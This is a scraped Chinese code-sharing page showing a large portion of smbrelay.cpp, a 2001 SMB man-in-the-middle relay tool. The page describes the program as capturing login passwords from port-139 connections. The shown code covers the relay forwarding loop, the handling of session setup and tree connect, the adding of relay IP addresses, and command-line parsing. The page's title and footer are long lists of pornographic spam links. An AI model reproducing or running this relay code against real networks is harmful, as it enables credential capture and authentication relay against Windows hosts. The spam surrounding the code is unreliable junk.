亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? smbrelay.cpp

?? 通過監聽其他機器上139端口發來的smb連接請求來得到登錄密碼的程序例子
?? CPP
?? 第 1 頁 / 共 5 頁
字號:
								psessionsetupandresponse->AndXOffset = 0;

							}
							else
							{
								PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset );

								ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN;
								ptreeconnectand->AndXCommand = SMB_NONE;
								ptreeconnectand->AndXOffset = 0;
								ptreeconnectand->AndXReserved = 0;
								ptreeconnectand->OptionalSupport = 0;

								char *ptr = (char *)(ptreeconnectand + 1);

								strcpy(ptr, "IPC");

								ptreeconnectand->ByteCount = strlen(ptr) + 3;

								ptr += strlen(ptr) + 1;
								*ptr = 0;
								ptr++;
								*ptr = 0;

								pnbsessionheader->Length = htons(ntohs(pnbsessionheader->Length) + ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4);
							}

							x = send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4, 0);

							printf(" *** Sent SMB Session setup response for relay to %s\n", hostname);

							bDoSend = FALSE;
						}

						break;

					}
					}
				}
				}


				if (bContinue && bDoSend && datalen > 0)
				{
					totallen = 0;
					do 
					{
						x = send(outsock, buff + totallen, datalen - totallen, 0);

						if (x == 0)
						{
							bContinue = FALSE;
							bConnected = FALSE;
							printf("Target %s disconnected durring send\n", hostname);
						}
						else if (x == -1)
						{
							DWORD err = WSAGetLastError();

							if (err == WSAEWOULDBLOCK)
								Sleep(5);
							else
							{
								bContinue = FALSE;
								bConnected = FALSE;
								printf("Error %d sending data to target %s\n", err, hostname);
							}
						}
						else
						{
							totallen += x;
						}
					} while (bContinue && totallen < datalen && !g_bQuit);

				}

				if (bContinue && !g_bQuit)
				{
					datalen = recv(outsock, buff, sizeof(NBSESSIONHEADER), 0);

					if (datalen < 1)
					{
						if (datalen == 0)
						{
							printf("Target %s connection disconnected\n", hostname);
							bContinue = FALSE;
							bConnected = FALSE;
					}
						else
						{
							DWORD err = WSAGetLastError();
							if (err != WSAEWOULDBLOCK)
							{
								bContinue = FALSE;
								bConnected = FALSE;
								printf("Error %d receiving header from target %s\n", err, hostname);
							}
						}
					}
					else
					{
						totallen = ntohs(pnbsessionheader->Length) + 4;

						if (g_DebugLevel > 1)
							printf("Received response header, expecting %d bytes from target %s\n", totallen, hostname);


						while (bContinue && datalen <  totallen && !g_bQuit)
						{
							x = recv(outsock, buff + datalen, totallen - datalen, 0);

							if (x > 0)
								datalen += x;
							else
							{
								if (x == 0)
								{
									printf("Target %s connection disconnected\n", hostname);
									bContinue = FALSE;
									bConnected = FALSE;
								}
								else
								{
									DWORD err = WSAGetLastError();

									if (err == WSAEWOULDBLOCK)
										Sleep(5);
									else
									{
										bContinue = FALSE;
										bConnected = FALSE;
										printf("Error %d receiving data from target %s\n", err, hostname);
									}
								}
							}
						}
					}

					if (bContinue && datalen > 0 && !g_bQuit)
					{
						if (g_DebugLevel > 0)
							printf("Received %d byte response from target %s\n", datalen, hostname);

						if (pnbsessionheader->Flags != 0)
							printf("Response Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname );







						totallen = 0;
						do
						{
							x = send(relayconnectionsock, buff + totallen, datalen - totallen, 0);

							if (x == 0)
							{
								bContinue = FALSE;
								printf("Relay host disconnected durring send from target %s\n", hostname);
							}
							else if (x == -1)
							{
								DWORD err = WSAGetLastError();

								if (err == WSAEWOULDBLOCK)
									Sleep(5);
								else
								{
									bContinue = FALSE;
									printf("Error %d sending data to relay host from target %s\n", err, hostname);
								}
							}
							else
							{
								totallen += x;
							}
						} while (bContinue && totallen < datalen && !g_bQuit);


					}
					
				}

				if (datalen < 1)
					Sleep(5);

			} while (bContinue && !g_bQuit);

			printf(" *** Relay disconnected from target %s\n", hostname);

			closesocket(relayconnectionsock);
		}

exitrelay:


		if (g_bAddRelayIP)
		{
			DeleteIPAddress(NTEContext);
			printf("Deleted relay IP address %s for target %s\n", inet_ntoa( sockaddr.sin_addr), hostname);
		}

	}

	closesocket(outsock);

	printf("*** Target %s Disconnected\n", hostname);

	// remove host from list
	ConnectedList[hostnumber] = 0;

	// clean up end of list

	while (ConnectedSize > 0 && ConnectedList[ConnectedSize] == 0)
		ConnectedSize--;

}




void SignalHandler(int sig)
{
	printf("Termination requested...\n");
	g_bQuit = TRUE;
}


void Usage( )
{
	puts("Usage: smbrelay [options]");
	puts(" Options:");
	puts("  /D num   - Set debug level, current valid levels: 0 (none), 1, 2");
	puts("    Defaults to 0");
	puts("  /E       - Enumerates interfaces and their indexes");
	puts("  /IL num  - Set the interface index to use when adding local IP addresses");
	puts("  /IR num  - Set the interface index to use when adding relay IP addresses");
	puts("    Defaults to 1.  Use /E to display the adapter indexes");
	puts("  /L[+] IP - Set the local IP to listen on for incoming NetBIOS connections");
	puts("    Use + to first add the IP address to the NIC");
	puts("    Defaults to primary host IP");
	puts("  /R[-] IP - Set the starting relay IP address to use");
	puts("    Use - to NOT first add each relay IP address to the NIC");
	puts("    Defaults to 192.1.1.1");
	puts("  /S name  - Set the source machine name");
	puts("    Defaults to CDC4EVER");

}



int main(int argc, char* argv[])
{
	SOCKET tcpsock, inconsock;
	WSADATA wsadata;
	BOOL b;
	DWORD d, NTEContext, NTEInstance;
	LPHOSTENT phostent;
	SOCKADDR_IN sockaddr;
	int x;


	puts("SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack");
	puts(" Copyright 2001: Sir Dystic, Cult of the Dead Cow");
	puts(" Send complaints, ideas and donations to sirdystic@cultdeadcow.com");


	for (x = 1; x < argc; x++)
	{
		if (argv[x][0] == '/')
		{
			if (stricmp(argv[x], "/IR") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /IR\n");
					Usage();
					return 0;
				}
				x++;

				g_RelayInterfaceNumber = strtoul(argv[x], NULL, 16);
			}
			else if (stricmp(argv[x], "/IL") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /IL\n");
					Usage();
					return 0;
				}
				x++;

				g_LocalInterfaceNumber = strtoul(argv[x], NULL, 16);
			}
			else if (stricmp(argv[x], "/D") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /D\n");
					Usage();
					return 0;
				}
				x++;

				g_DebugLevel = atoi(argv[x]);
			}
			else if (stricmp(argv[x], "/E") == 0)
			{
				DWORD e, NumOfInterfaces = 0;

				e = GetNumberOfInterfaces(&NumOfInterfaces);
				if (e != NO_ERROR)
				{
					printf("Unable to retrieve number of interfaces: Error %d - %s\n", e, StrError(e));
				}
				else
				{
					DWORD buffsize = sizeof(MIB_IFROW) * (NumOfInterfaces + 5);
					PMIB_IFTABLE piftable = (PMIB_IFTABLE)malloc(buffsize); 

					e = GetIfTable(piftable, &buffsize, FALSE);

					if (e != ERROR_SUCCESS)
					{
						printf("Unable to get interface table: Error %d - %s\n", e, StrError(e));
					}
					else
					{
						for (e = 0; e < piftable->dwNumEntries; e++)
						{
							printf("[%x] %s - %s\n", piftable->table[e].dwIndex, GetInterfaceType(piftable->table[e].dwType), piftable->table[e].bDescr  );
						}
					}
///  

					free(piftable);
				}

				return 0;

			}
			else if (stricmp(argv[x], "/L") == 0 || stricmp(argv[x], "/L+") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /L\n");
					Usage();
					return 0;
				}

				if (argv[x][2] == '+')
					g_bAddLocalIP = TRUE;


				x++;
				g_LocalIP = inet_addr(argv[x]);

				if (g_LocalIP == INADDR_NONE)
				{
					fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]);
					Usage();
					return 0;
				}
			}
			else if (stricmp(argv[x], "/R") == 0 || stricmp(argv[x], "/R-") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /R\n");
					Usage();
					return 0;
				}

				if (argv[x][2] == '-')
					g_bAddRelayIP = FALSE;


				x++;
				g_RelayStartIP = inet_addr(argv[x]);

				if (g_RelayStartIP == INADDR_NONE)
				{
					fprintf(stdout, "Bad IP: \"%s\"\n", argv[x]);
					Usage();
					return 0;
				}
			}
			else if (stricmp(argv[x], "/S") == 0)
			{
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for /S\n");
					Usage();
					return 0;
				}
				x++;

				strncpy(g_SourceName, argv[x], 15);
				g_SourceName[15] = 0;
				strupr(g_SourceName);

			}
			else if (stricmp(argv[x], "/?") == 0 || stricmp(argv[x], "/HELP") == 0)
			{
				Usage();
				return 0;
			}
			else
			{
				fprintf(stdout, "Bad option: \"%s\"\n", argv[x] );
				Usage();
				return 0;
			}
		}
	}

	memset(&wsadata, 0, sizeof(wsadata));

	WSAStartup(MAKEWORD(1, 1), &wsadata);



	

	if (g_bAddLocalIP)
	{
		if (g_LocalInterfaceNumber == 0)
		{
			GetBestInterface(g_LocalIP, &g_LocalInterfaceNumber);
		}

		MIB_IFROW ifrow;

		memset(&ifrow, 0, sizeof(ifrow));
		ifrow.dwIndex = g_LocalInterfaceNumber;

		d = GetIfEntry(&ifrow);

		if (d == NO_ERROR)
		{
			printf("Using local adapter index %x: %s\n", g_LocalInterfaceNumber, ifrow.bDescr);
		}
		else
		{
			printf("Local adapter index %x may be invalid!  Error %d: %s\n", g_LocalInterfaceNumber, d, StrError(d));
		}
	}


	if (g_bAddRelayIP)
	{
		MIB_IFROW ifrow;

		memset(&ifrow, 0, sizeof(ifrow));
		ifrow.dwIndex = g_RelayInterfaceNumber;

		d = GetIfEntry(&ifrow);

		if (d == NO_ERROR)
		{
			printf("Using relay adapter index %x: %s\n", g_RelayInterfaceNumber, ifrow.bDescr);
		}
		else
		{
			printf("Relay adapter index %x may be invalid!  Error %d: %s\n", g_RelayInterfaceNumber, d, StrError(d));
		}
	}

	tcpsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (tcpsock == INVALID_SOCKET)
	{
		printf("Error %d creating socket\n", GETSOCKETERROR() );
		return 0;
	}

	b = TRUE;
	if (setsockopt(tcpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR)
	{
		printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() );
		closesocket(tcpsock);
		return 0;
	}

	if (g_LocalIP == INADDR_NONE)
	{
		char buff[64];

		if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR)
		{
			printf("Error %d getting local host name\n", GETSOCKETERROR() );
			closesocket(tcpsock);
			return 0;
		}

		phostent = gethostbyname((char *)buff);

		if (phostent == NULL)
		{
			printf("Error %d getting local address for name %s\n", GETSOCKETERROR(), buff );
			closesocket(tcpsock);
			return 0;
		}
		g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr;
	}

	sockaddr.sin_addr.s_addr = g_LocalIP;
	sockaddr.sin_port = htons(g_LocalPort);
	sockaddr.sin_family = AF_INET;

	if (g_bAddLocalIP)
	{
		DWORD Netmask = inet_addr("255.255.255.0");

		d = AddIPAddress(g_LocalIP, Netmask, g_LocalInterfaceNumber, &NTEContext, &NTEInstance);

		if (d != NO_ERROR)
			printf("Error %d adding IP address to interface %x: %s\n", d, g_LocalInterfaceNumber, StrError(d));
		else
			printf("Local IP address added to interface %x\n", g_LocalInterfaceNumber);
	}


	if (bind(tcpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR)
	{
		d = GETSOCKETERROR();
		printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) );
		closesocket(tcpsock);
		return 0;
	} else {
		printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) );
	}


	if (listen(tcpsock, SOMAXCONN) == SOCKET_ERROR)
	{
		d = GETSOCKETERROR();

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91精品免费在线| 日韩毛片一二三区| 欧美欧美午夜aⅴ在线观看| 成人av资源网站| 国产精品亚洲午夜一区二区三区 | 欧美肥胖老妇做爰| 欧美亚洲动漫制服丝袜| 色综合久久久久久久久| 色综合中文字幕| 91视频免费播放| 日本精品视频一区二区| 色成人在线视频| 在线精品观看国产| 欧美主播一区二区三区美女| 99r精品视频| 91色婷婷久久久久合中文| 91亚洲永久精品| 日本道免费精品一区二区三区| 色中色一区二区| 欧洲在线/亚洲| 91 com成人网| 欧美一区二区免费观在线| 91精品国产全国免费观看| 3d动漫精品啪啪1区2区免费| 日韩免费视频线观看| 精品国产免费久久| 国产精品久久久久久久蜜臀| 亚洲欧美日韩精品久久久久| 亚洲色大成网站www久久九九| 亚洲欧洲精品天堂一级| 亚洲精品国产第一综合99久久| 一区二区三区毛片| 欧美a一区二区| 国产成人av影院| 色哦色哦哦色天天综合| 欧美精品日韩精品| 久久久午夜精品| 亚洲精品国产精品乱码不99| 水野朝阳av一区二区三区| 精品一区二区精品| 菠萝蜜视频在线观看一区| 一本到高清视频免费精品| 91精品国产综合久久香蕉的特点 | 欧美日韩三级一区二区| 日韩精品影音先锋| 国产精品久久久久三级| 午夜精品福利在线| 国产成人av电影免费在线观看| 欧美在线色视频| 精品国产免费人成电影在线观看四季 | 国产综合色视频| 色综合久久天天| 欧美大黄免费观看| 中文字幕一区二区三区视频| 午夜精品福利久久久| 国产成人超碰人人澡人人澡| 欧美日韩精品免费| 国产精品久久久久影视| 日韩黄色免费电影| 成人理论电影网| 欧美一区二区日韩| 亚洲三级免费观看| 精品一区二区三区免费视频| 色综合天天性综合| xfplay精品久久| 亚洲精品日韩综合观看成人91| 久久se精品一区二区| 欧洲亚洲精品在线| 中文字幕乱码日本亚洲一区二区| 日韩高清不卡一区| 成人av第一页| 久久影院午夜论| 午夜精品影院在线观看| www.欧美日韩| 久久精品一区蜜桃臀影院| 午夜国产精品影院在线观看| 成人深夜视频在线观看| 日韩午夜电影av| 午夜精品久久久久| 色网站国产精品| 国产精品丝袜一区| 国产自产2019最新不卡| 欧美一区二区高清| 午夜私人影院久久久久| 在线一区二区三区做爰视频网站| 国产欧美精品一区| 久久成人麻豆午夜电影| 欧美精品成人一区二区三区四区| 中文字幕一区二区三区色视频 | 欧美日韩一区高清| 国产精品福利一区二区| 激情图片小说一区| 欧美性做爰猛烈叫床潮| 亚洲精品中文在线影院| 国产精品综合久久| 日韩欧美一区二区在线视频| 亚洲激情在线播放| 成人精品鲁一区一区二区| 欧美一级午夜免费电影| 中文字幕一区日韩精品欧美| 国产一区在线不卡| 欧美一区二区三区四区视频| 樱花影视一区二区| 99久久伊人精品| 久久久久久久综合日本| 久久精品国产久精国产| 在线免费观看一区| 国产欧美1区2区3区| 国产最新精品免费| 欧美变态口味重另类| 日韩精品五月天| 欧美肥妇毛茸茸| 三级久久三级久久| 欧美一区二区三区在线看| 亚洲第四色夜色| 日本精品一级二级| 一区二区久久久| 91污在线观看| 专区另类欧美日韩| 91蜜桃视频在线| 亚洲男人都懂的| 在线亚洲高清视频| 亚洲综合清纯丝袜自拍| 91福利国产成人精品照片| 日本一区二区免费在线观看视频 | 99久久综合精品| 国产精品午夜免费| av电影一区二区| 亚洲国产精华液网站w| 99re免费视频精品全部| 成人欧美一区二区三区小说| 成人黄色av网站在线| 国产精品视频免费看| 成人精品在线视频观看| 中文字幕一区二区三区精华液 | 欧美韩国一区二区| 成人av在线一区二区三区| 最新日韩av在线| 99re热这里只有精品免费视频| 洋洋av久久久久久久一区| 欧美视频三区在线播放| 午夜精品久久久久久久99水蜜桃| 91精品黄色片免费大全| 久99久精品视频免费观看| 精品国产亚洲在线| 国产精品自产自拍| 中文字幕免费观看一区| 色综合久久中文综合久久牛| 亚洲成av人片www| 欧美成人性战久久| 成人永久看片免费视频天堂| 亚洲一卡二卡三卡四卡五卡| 欧美一区二区国产| 国产成人精品一区二| 亚洲人成电影网站色mp4| 欧美视频精品在线观看| 亚洲成人免费观看| 国产丝袜美腿一区二区三区| 91污片在线观看| 蜜臀av性久久久久蜜臀aⅴ| 国产亚洲欧美一区在线观看| 色综合久久久久久久久久久| 午夜视频在线观看一区| 日本一区二区三级电影在线观看| 99天天综合性| 亚洲国产一区二区三区青草影视| 欧美tickling挠脚心丨vk| 成人精品亚洲人成在线| 日日嗨av一区二区三区四区| 中文字幕一区二区三区在线不卡 | 日本精品一区二区三区高清 | 欧美国产日韩精品免费观看| 欧美视频在线播放| 国产黑丝在线一区二区三区| 亚洲久本草在线中文字幕| 欧美一区二区在线不卡| 91丨porny丨在线| 免费国产亚洲视频| 亚洲日本丝袜连裤袜办公室| 精品国产一区二区在线观看| 99视频在线精品| 韩国在线一区二区| 亚洲国产精品久久人人爱| 2022国产精品视频| 99久久精品免费看国产免费软件| 精品一区二区三区av| 亚洲一区在线观看免费观看电影高清 | 制服丝袜亚洲播放| www.欧美色图| 蜜臀av性久久久久蜜臀aⅴ| 亚洲成人免费影院| 亚洲欧洲日本在线| 久久久亚洲精品一区二区三区| 欧美日韩视频在线观看一区二区三区| 日韩综合小视频| 日韩激情视频在线观看| 亚洲免费看黄网站| 国产日韩综合av| 日韩一区二区不卡| 欧美日韩亚洲丝袜制服|